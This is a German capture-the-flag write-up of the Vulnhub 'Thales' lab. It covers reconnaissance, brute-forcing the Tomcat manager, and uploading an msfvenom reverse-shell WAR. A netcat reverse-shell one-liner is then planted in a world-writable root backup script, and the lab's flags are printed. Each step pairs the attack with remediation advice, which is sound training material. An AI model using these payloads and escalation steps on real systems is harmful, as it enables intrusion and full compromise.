Thales - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
nikto
msfconsole
msfvenom
mv
nc
id
ls
cd
cat
nano (oder anderer Editor auf Ziel)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.113	08:00:27:62:b9:ca	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk nach aktiven Hosts mittels ARP-Anfragen und listet die gefundenen IP- und MAC-Adressen auf.

Bewertung: Ein Host wurde unter 192.168.2.113 identifiziert. Die MAC-Adresse (08:00:27:...) und der Hersteller "PCS Systemtechnik GmbH" deuten auf eine VirtualBox VM hin. Dies ist unser Zielsystem.

Empfehlung (Pentester): Verwenden Sie die IP 192.168.2.113 für nachfolgende, detailliertere Scans mit Nmap.
Empfehlung (Admin): Netzwerksegmentierung und ARP-Spoofing-Erkennung können die Aufklärung erschweren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
 192.168.2.113   thales.vln

Analyse: Die lokale Hosts-Datei wird bearbeitet (`vi /etc/hosts`), um der IP-Adresse 192.168.2.113 den Hostnamen `thales.vln` zuzuordnen.

Bewertung: Ermöglicht die Adressierung des Ziels über den Namen `thales.vln`, was die Handhabung, insbesondere bei Webdiensten, vereinfacht.

Empfehlung (Pentester): Sinnvolle Praxis zur Verbesserung der Übersichtlichkeit während des Tests.
Empfehlung (Admin): Keine direkte Sicherheitsrelevanz für das Zielsystem.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.113 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-10 22:43 CEST
Nmap scan report for troll.vln (192.168.2.113) # Hinweis: Hostname im Scan-Report weicht vom /etc/hosts Eintrag ab (troll.vln vs thales.vln)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8c19ab9172a571d86d751d8f65dfe132 (RSA)
|   256 906ea0eed5296cb97b05dbc6825c19bf (ECDSA)
|_  256 544d7be8f97f21343eed0fd9fe93bf00 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.52
|_http-title: Apache Tomcat/9.0.52
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 08:00:27:62:B9:CA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms troll.vln (192.168.2.113)

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -sV -T5 -AO -p-`) wird gegen das Ziel 192.168.2.113 durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu identifizieren.

Bewertung: Der Scan identifiziert zwei offene Ports: * **Port 22 (SSH):** Läuft OpenSSH 7.6p1 auf Ubuntu. Eine relativ standardmäßige Version. * **Port 8080 (HTTP):** Läuft Apache Tomcat 9.0.52. Dies ist ein Java Application Server, der oft eine interessante Angriffsfläche bietet (Manager-Interface, Default-Anwendungen). Die Betriebssystemerkennung deutet auf einen Linux-Kernel im Bereich 4.x/5.x hin. Der im Scan angezeigte Hostname `troll.vln` weicht vom manuell gesetzten `thales.vln` ab, was auf eine Diskrepanz zwischen Reverse-DNS/NetBIOS-Namen und der manuellen Konfiguration hindeutet.

Empfehlung (Pentester): Der Fokus sollte auf dem Apache Tomcat Dienst auf Port 8080 liegen. Untersuchen Sie diesen Port weiter mit Tools wie Nikto und Gobuster. Suchen Sie nach Standard-Anmeldedaten, öffentlichen Management-Interfaces oder bekannten Schwachstellen für Tomcat 9.0.52. SSH bleibt ein sekundärer Vektor.
Empfehlung (Admin): Sichern Sie den Apache Tomcat Server ab: Entfernen Sie nicht benötigte Standardanwendungen (wie Manager, Host Manager, Beispiele), ändern Sie Standard-Passwörter, beschränken Sie den Zugriff auf Management-Interfaces und halten Sie Tomcat aktuell.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -AO 192.168.2.113 -p- | grep open
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat 9.0.52
|_http-open-proxy: Proxy might be redirecting requests

Analyse: Wiederholt den vorherigen Nmap-Scan, filtert die Ausgabe aber mit `grep open` für eine schnelle Übersicht der offenen Ports.

Bewertung: Bestätigt die offenen Ports 22 (SSH) und 8080 (HTTP/Tomcat).

Empfehlung (Pentester): Fokussieren Sie sich auf Port 8080 (Tomcat).
Empfehlung (Admin): Siehe vorherige Empfehlungen für Nmap.

Web Enumeration (Tomcat)

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.113:8080
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.113
+ Target Hostname:    192.168.2.113
+ Target Port:        8080
+ Start Time:         2023-09-10 22:44:45 (GMT2)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS .
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.
+ /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104
+ /manager/html: Default Tomcat Manager / Host Manager interface found.
+ /host-manager/html: Default Tomcat Manager / Host Manager interface found.
+ /manager/status: Default Tomcat Server Status interface found.
+ 8406 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time:           2023-09-10 22:45:17 (GMT2) (32 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: `nikto` scannt den Tomcat-Server auf Port 8080 (`-h 192.168.2.113:8080`) nach bekannten Schwachstellen und interessanten Dateien/Verzeichnissen.

Bewertung: Nikto liefert wichtige Ergebnisse für Tomcat: * **Fehlende Security Header:** Standardfund. * **Erlaubte HTTP Methoden:** GET, HEAD, POST, **PUT, DELETE,** OPTIONS. Die erlaubten Methoden PUT und DELETE sind potenziell gefährlich, da sie das Hochladen oder Löschen von Dateien auf dem Server ermöglichen könnten, wenn die Berechtigungen dies zulassen. * **Default Tomcat Pages:** `/examples/servlets/index.html` und `/examples/jsp/snp/snoop.jsp` sind vorhanden. Diese Beispielanwendungen können Informationslecks oder manchmal Schwachstellen enthalten. * **Tomcat Management Interfaces:** `/manager/html`, `/host-manager/html` und `/manager/status` sind erreichbar. Dies sind die kritischsten Funde, da der Zugriff auf das Manager-Interface oft das Hochladen von WAR-Dateien (Web Archives) und somit die Ausführung von Code ermöglicht.

Empfehlung (Pentester): Versuchen Sie, auf das Tomcat Manager Interface (`/manager/html`) zuzugreifen. Versuchen Sie, sich mit Standard-Tomcat-Anmeldedaten (z.B. `tomcat:tomcat`, `admin:admin`, `manager:manager`, `admin:s3cret`) anzumelden. Verwenden Sie ein Brute-Force-Tool wie Metasploit (`auxiliary/scanner/http/tomcat_mgr_login`) oder Hydra, um die Anmeldedaten zu finden. Prüfen Sie, ob PUT- oder DELETE-Anfragen ohne Authentifizierung oder mit schwachen Anmeldedaten möglich sind.
Empfehlung (Admin): Entfernen Sie die Standard-Tomcat-Anwendungen (examples, manager, host-manager) von Produktionsservern oder schränken Sie den Zugriff darauf stark ein (z.B. nur von bestimmten IPs, starke einzigartige Passwörter). Deaktivieren Sie unnötige HTTP-Methoden wie PUT und DELETE, wenn sie nicht benötigt werden.

Initial Access

Der Fokus liegt nun darauf, Zugriff auf das Tomcat Manager Interface zu erlangen, um darüber Initial Access zu bekommen.

┌──(root㉿cycat)-[~] └─# msfconsole -q
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > options
Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name              Current Setting         Required  Description
   ----              ---------------         --------  -----------
[...]
   PASS_FILE         /usr/share/metasploit-  no        File containing passwords, one per li
                     framework/data/wordlis            ne
                     ts/tomcat_mgr_default_
                     pass.txt
[...]
   RHOSTS                                    yes       The target host(s), see https://docs.
[...]
   RPORT             8080                    yes       The target port (TCP)
[...]
   TARGETURI         /manager/html           yes       URI for Manager login. Default is /ma
                                                       nager/html
[...]
   USERPASS_FILE     /usr/share/metasploit-  no        File containing users and passwords s
                     framework/data/wordlis            eparated by space, one pair per line
                     ts/tomcat_mgr_default_
                     userpass.txt
[...]
   USER_FILE         /usr/share/metasploit-  no        File containing users, one per line
                     framework/data/wordlis
                     ts/tomcat_mgr_default_
                     users.txt
[...]
   VERBOSE           true                    yes       Whether to print output for all attem
                                                       pts
[...]
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.2.113
RHOSTS => 192.168.2.113
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
RPORT => 8080
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set TARGETURI /manager/html
TARGETURI => /manager/html
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:admin (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:manager (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:role1 (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:root (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:tomcat (Incorrect)
[-] 192.168.2.113:8080 - LOGIN FAILED: admin:s3cret (Incorrect)
[...]
[+] 192.168.2.113:8080 - Login Successful: tomcat:role1

Analyse: Das Metasploit Framework wird gestartet (`msfconsole -q`). Das Modul `auxiliary/scanner/http/tomcat_mgr_login` wird ausgewählt, um einen Brute-Force-Angriff auf das Tomcat Manager Interface (`/manager/html` auf Port 8080) durchzuführen. Die Optionen `RHOSTS`, `RPORT` und `TARGETURI` werden entsprechend gesetzt. Das Modul verwendet Standard-Wortlisten für Benutzernamen (`tomcat_mgr_default_users.txt`) und Passwörter (`tomcat_mgr_default_pass.txt`).

Bewertung: Der Brute-Force-Angriff ist erfolgreich! Das Modul findet gültige Anmeldedaten: Benutzer `tomcat` mit dem Passwort `role1`. Der Zugriff auf das Tomcat Manager Interface ist nun möglich.

Empfehlung (Pentester): Loggen Sie sich mit den gefundenen Zugangsdaten (`tomcat:role1`) über einen Webbrowser in das Manager Interface (`http://192.168.2.113:8080/manager/html`) ein. Bereiten Sie eine WAR-Datei mit einer Reverse Shell (z.B. mit `msfvenom`) vor und laden Sie diese über das Manager Interface hoch, um eine Shell auf dem System zu erhalten.
Empfehlung (Admin): Ändern Sie *dringend* die Standard-Tomcat-Passwörter oder, besser noch, deaktivieren Sie das Manager-Interface, wenn es nicht benötigt wird, oder schränken Sie den Zugriff darauf stark ein (IP-Filterung, starke, einzigartige Passwörter).

┌──(root㉿cycat)-[~] └─# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.199 LPORT=8004 -f war > reverse.war
Payload size: 1089 bytes
Final size of war file: 1089 bytes

Analyse: `msfvenom` wird verwendet, um einen Payload zu generieren. * `-p java/jsp_shell_reverse_tcp`: Wählt den Payload-Typ: eine Java/JSP-basierte Reverse Shell, die sich zurück zum Angreifer verbindet. * `LHOST=192.168.2.199`: Setzt die IP-Adresse des Angreifers, zu der sich die Shell verbinden soll. * `LPORT=8004`: Setzt den Port auf der Angreifer-Maschine, auf dem der Listener lauschen wird. * `-f war`: Gibt das Ausgabeformat an: eine WAR-Datei (Web Application Archive), die direkt in Tomcat deployt werden kann. * `> reverse.war`: Leitet die Ausgabe in eine Datei namens `reverse.war`.

Bewertung: Eine WAR-Datei (`reverse.war`) mit einer Reverse-Shell wurde erfolgreich erstellt. Diese Datei ist bereit für den Upload über das Tomcat Manager Interface.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem Angreifer-System auf Port 8004 (`nc -lvnp 8004`). Laden Sie dann die `reverse.war`-Datei über das Tomcat Manager Interface hoch (`http://192.168.2.113:8080/manager/html` mit den Credentials `tomcat:role1`). Tomcat wird die WAR-Datei automatisch deployen und ausführen, was die Reverse-Shell-Verbindung auslösen sollte.
Empfehlung (Admin): Überwachen und beschränken Sie die Deployment-Fähigkeiten im Tomcat Manager. Implementieren Sie ggf. Sicherheitsprüfungen für hochgeladene WAR-Dateien.

┌──(root㉿cycat)-[~] └─# mv reverse.war /home/cycat/Downloads
# (Datei wird verschoben, vermutlich um sie einfacher im Browser-Upload zu finden)

Analyse: Die erstellte `reverse.war`-Datei wird in das Downloads-Verzeichnis des Benutzers verschoben.

Bewertung: Ein einfacher organisatorischer Schritt, um die Datei für den Upload über den Browser im Tomcat Manager leicht zugänglich zu machen.

Empfehlung (Pentester): Fahren Sie mit dem Upload über den Browser fort.
Empfehlung (Admin): Keine direkte Relevanz.

Die `reverse.war`-Datei wird nun über das Tomcat Manager Webinterface (`http://192.168.2.113:8080/manager/html`) mit den Credentials `tomcat:role1` hochgeladen und deployt. Parallel wird der Netcat-Listener gestartet.

┌──(root㉿cycat)-[~] └─# nc -lvnp 8004
listening on [any] 8004 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.113] 40684

Analyse: Ein Netcat-Listener wird auf Port 8004 gestartet. Kurz darauf geht eine Verbindung vom Zielsystem (192.168.2.113) ein.

Bewertung: Der Upload und das Deployment der `reverse.war`-Datei über den Tomcat Manager waren erfolgreich. Die JSP-Reverse-Shell wurde ausgeführt und hat sich erfolgreich zurück zum Listener verbunden. Initial Access wurde erreicht.

Empfehlung (Pentester): Interagieren Sie mit der erhaltenen Shell. Führen Sie `id` aus, um den Benutzerkontext zu bestätigen (erwartet wird `tomcat`). Beginnen Sie mit der Post-Exploitation und der Suche nach Wegen zur Privilegieneskalation.
Empfehlung (Admin): Überwachen Sie Tomcat-Logs auf WAR-Deployments. Beschränken Sie den Zugriff auf den Manager. Implementieren Sie Egress-Filterung, um ausgehende Reverse-Shell-Verbindungen zu blockieren oder zu erkennen.

Privilege Escalation

# Remote Shell Prompt (nach Verbindung mit nc) id
uid=999(tomcat) gid=999(tomcat) groups=999(tomcat)

Analyse: Der `id`-Befehl wird in der Reverse Shell ausgeführt.

Bewertung: Bestätigt, dass die Shell wie erwartet als Benutzer `tomcat` (UID 999) läuft.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration des Systems aus der Sicht des `tomcat`-Benutzers.
Empfehlung (Admin): Betreiben Sie Dienste wie Tomcat mit dedizierten Benutzern mit möglichst geringen Rechten.

tomcat@miletus:/$ ls /home
thales
tomcat@miletus:/$ cd /home/thales/
tomcat@miletus:/home/thales$ ls -la
total 52
drwxr-xr-x 6 thales thales 4096 Oct 14  2021 .
drwxr-xr-x 3 root   root   4096 Aug 15  2021 ..
-rw------- 1 thales thales  457 Oct 14  2021 .bash_history
-rw-r--r-- 1 thales thales  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 thales thales 3771 Apr  4  2018 .bashrc
drwx------ 2 thales thales 4096 Aug 15  2021 .cache
drwx------ 3 thales thales 4096 Aug 15  2021 .gnupg
drwxrwxr-x 3 thales thales 4096 Aug 15  2021 .local
-rw-r--r-- 1 root   root    107 Oct 14  2021 notes.txt
-rw-r--r-- 1 thales thales  807 Apr  4  2018 .profile
-rw-r--r-- 1 root   root     66 Aug 15  2021 .selected_editor
drwxrwxrwx 2 thales thales 4096 Aug 16  2021 .ssh
-rw-r--r-- 1 thales thales    0 Oct 14  2021 .sudo_as_admin_successful
-rw------- 1 thales thales   33 Aug 15  2021 user.txt

Analyse: Das Home-Verzeichnis wird untersucht. Es existiert ein Benutzer `thales`. Das Verzeichnis `/home/thales` wird aufgelistet.

Bewertung: Mehrere interessante Dateien werden gefunden: * `notes.txt`: Gehört `root`, ist aber für alle lesbar (`-rw-r--r--`). Enthält potenziell Hinweise. * `.ssh`: Verzeichnis ist für alle beschreibbar (`drwxrwxrwx`). Dies ist eine unsichere Konfiguration. * `user.txt`: Die User-Flag, gehört `thales`, aber nicht lesbar für `tomcat` (`-rw-------`).

Empfehlung (Pentester): Lesen Sie den Inhalt von `notes.txt`. Untersuchen Sie die unsicheren Berechtigungen des `.ssh`-Verzeichnisses. Es könnte möglich sein, einen eigenen SSH-Schlüssel in `authorized_keys` zu platzieren (falls die Datei existiert und beschreibbar ist oder neu erstellt werden kann), um sich als `thales` per SSH einzuloggen.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen des `.ssh`-Verzeichnisses (`chmod 700 /home/thales/.ssh`). Stellen Sie sicher, dass sensible Notizdateien nicht für alle lesbar sind.

tomcat@miletus:/home/thales$ cat notes.txt
I prepared a backup script for you. The script is in this directory
"/usr/local/bin/backup.sh".
Good Luck.

Analyse: Der Inhalt der Datei `notes.txt` wird angezeigt.

Bewertung: Die Notiz gibt einen entscheidenden Hinweis: Es existiert ein Backup-Skript unter `/usr/local/bin/backup.sh`. Solche Skripte werden oft von Cronjobs mit höheren Rechten (z.B. `root`) ausgeführt.

Empfehlung (Pentester): Untersuchen Sie das Skript `/usr/local/bin/backup.sh`. Prüfen Sie dessen Inhalt und insbesondere dessen Berechtigungen. Wenn das Skript für den `tomcat`-Benutzer beschreibbar ist und als `root` ausgeführt wird, ist dies ein klarer Weg zur Privilegieneskalation.
Empfehlung (Admin): Stellen Sie sicher, dass Skripte, die mit erhöhten Rechten laufen (z.B. via Cron), nicht von unprivilegierten Benutzern beschrieben werden können. Überprüfen Sie die Logik solcher Skripte auf Sicherheit.

tomcat@miletus:/home/thales$ ls -la /usr/local/bin/backup.sh
-rwxrwxrwx 1 root root 612 Oct 14  2021 /usr/local/bin/backup.sh

Analyse: Die Berechtigungen des Backup-Skripts werden überprüft.

Bewertung: Kritischer Fund! Das Skript `/usr/local/bin/backup.sh` gehört zwar `root`, hat aber die Berechtigungen `-rwxrwxrwx`. Das bedeutet, es ist für **jeden** Benutzer lesbar, **schreibbar** und ausführbar. Da die Notiz andeutet, dass es sich um ein Backup-Skript handelt, ist es sehr wahrscheinlich, dass es periodisch (z.B. per Cron) als `root` ausgeführt wird.

Empfehlung (Pentester): Dies ist der klare Weg zur Root-Eskalation. Bearbeiten Sie das Skript `/usr/local/bin/backup.sh` und fügen Sie einen Befehl hinzu, der Ihnen eine Root-Shell gibt (z.B. eine Reverse Shell oder das Setzen des SUID-Bits auf `/bin/bash`). Warten Sie dann, bis das Skript ausgeführt wird (oder versuchen Sie, die Ausführung zu triggern, falls möglich).
Empfehlung (Admin): Korrigieren Sie *dringend* die Berechtigungen des Skripts (`chmod 750 /usr/local/bin/backup.sh` oder restriktiver). Stellen Sie sicher, dass nur der Eigentümer (`root`) Schreibrechte hat. Überprüfen Sie systemweit Dateiberechtigungen, insbesondere für Skripte in `bin`-Verzeichnissen oder solche, die von Cron ausgeführt werden.

Proof of Concept (Backup Script)

Das für alle beschreibbare Backup-Skript `/usr/local/bin/backup.sh`, das vermutlich als Root ausgeführt wird, wird nun modifiziert, um eine Root-Reverse-Shell zu erhalten.

tomcat@miletus:/tmp$ nano /usr/local/bin/backup.sh

(Im Editor wird der ursprüngliche Inhalt auskommentiert oder gelöscht und der Reverse-Shell-Payload eingefügt)

tomcat@miletus:/tmp$ cat /usr/local/bin/backup.sh
#!/bin/bash
####################################
#
# Backup to NFS mount script.
#
####################################
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 9001 >/tmp/f # Payload für Reverse Shell auf Port 9001
# What to backup.
#backup_files="/opt/tomcat/" # Auskommentierter Originalcode

# Where to backup to.
#dest="/var/backups" # Auskommentierter Originalcode

# Create archive filename. # Rest des Originalcodes hier nicht gezeigt

Analyse: Das Skript `/usr/local/bin/backup.sh` wird mit einem Editor (`nano` oder ähnlich) bearbeitet. Der `cat`-Befehl zeigt den modifizierten Inhalt: Der ursprüngliche Backup-Code wurde (vermutlich) auskommentiert und durch einen Einzeiler für eine Reverse Shell ersetzt. Dieser Befehl (`rm /tmp/f;... nc 192.168.2.199 9001 >/tmp/f`) erstellt eine Named Pipe (`/tmp/f`), startet Netcat, um sich zum Angreifer (192.168.2.199) auf Port 9001 zu verbinden, und leitet die Ein-/Ausgabe einer interaktiven Shell (`/bin/sh -i`) durch diese Verbindung.

Bewertung: Das Skript wurde erfolgreich manipuliert. Wenn dieses Skript nun als `root` ausgeführt wird (z.B. durch einen Cronjob), wird es versuchen, eine Reverse Shell zum Angreifer auf Port 9001 aufzubauen.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf Ihrem System auf Port 9001 (`nc -lvnp 9001`). Warten Sie, bis der Cronjob (oder was auch immer das Skript ausführt) läuft. Wenn die Verbindung eingeht, haben Sie eine Root-Shell.
Empfehlung (Admin): Überwachen Sie Dateiänderungen an kritischen Skripten (File Integrity Monitoring). Korrigieren Sie die unsicheren Berechtigungen des Skripts. Stellen Sie sicher, dass Cronjobs nur notwendige Skripte ausführen und diese sicher sind.

┌──(root㉿cycat)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.113] 45710
/bin/sh: 0: can't access tty; job control turned off
#

Analyse: Ein Netcat-Listener wird auf Port 9001 auf dem Angreifer-System gestartet. Nach kurzer Zeit geht eine Verbindung vom Zielsystem ein, und es erscheint ein Shell-Prompt (`#`).

Bewertung: Erfolg! Das modifizierte `backup.sh`-Skript wurde als Root ausgeführt, und die Reverse Shell wurde erfolgreich etabliert. Der Prompt `#` deutet auf Root-Rechte hin.

Empfehlung (Pentester): Fantastisch, Root-Zugriff erreicht! Überprüfen Sie die Rechte mit `id`. Suchen Sie die Root- und User-Flags.
Empfehlung (Admin): Implementieren Sie Egress-Filterung, um ausgehende Verbindungen zu blockieren/erkennen. Überwachen Sie Cronjob-Ausführungen und Prozessaktivitäten auf Anomalien. Korrigieren Sie die Dateiberechtigungen des Skripts.

# id
uid=0(root) gid=0(root) groups=0(root)
# # (Wechsel ins /root Verzeichnis nicht explizit gezeigt, aber Flag wird gelesen)
# cat root.txt
3a1c85bebf8833b0ecae900fb8598b17
# cd /home/thales
# ls
notes.txt
user.txt
# cat user.txt
a837c0b5d2a8a07225fd9905f5a0e9c4

Analyse: In der Root-Shell wird `id` ausgeführt, um die Root-Rechte zu bestätigen. Anschließend wird (vermutlich aus `/root`) die `root.txt`-Datei gelesen. Danach wird in das Verzeichnis `/home/thales` gewechselt und die `user.txt`-Datei gelesen.

Bewertung: Root-Rechte sind bestätigt. Beide Flags, `root.txt` und `user.txt`, wurden erfolgreich ausgelesen. Das Ziel der vollständigen Kompromittierung wurde erreicht.

Empfehlung (Pentester): Aufgabe abgeschlossen. Dokumentieren Sie den gesamten Prozess, einschließlich des Eskalationsvektors über das beschreibbare Backup-Skript.
Empfehlung (Admin): Neben der Korrektur der Skriptberechtigungen ist eine generelle Härtung des Systems und die Überprüfung von Cronjobs und Dateiberechtigungen unerlässlich.

Flags

cat /home/thales/user.txt
a837c0b5d2a8a07225fd9905f5a0e9c4
cat /root/root.txt
3a1c85bebf8833b0ecae900fb8598b17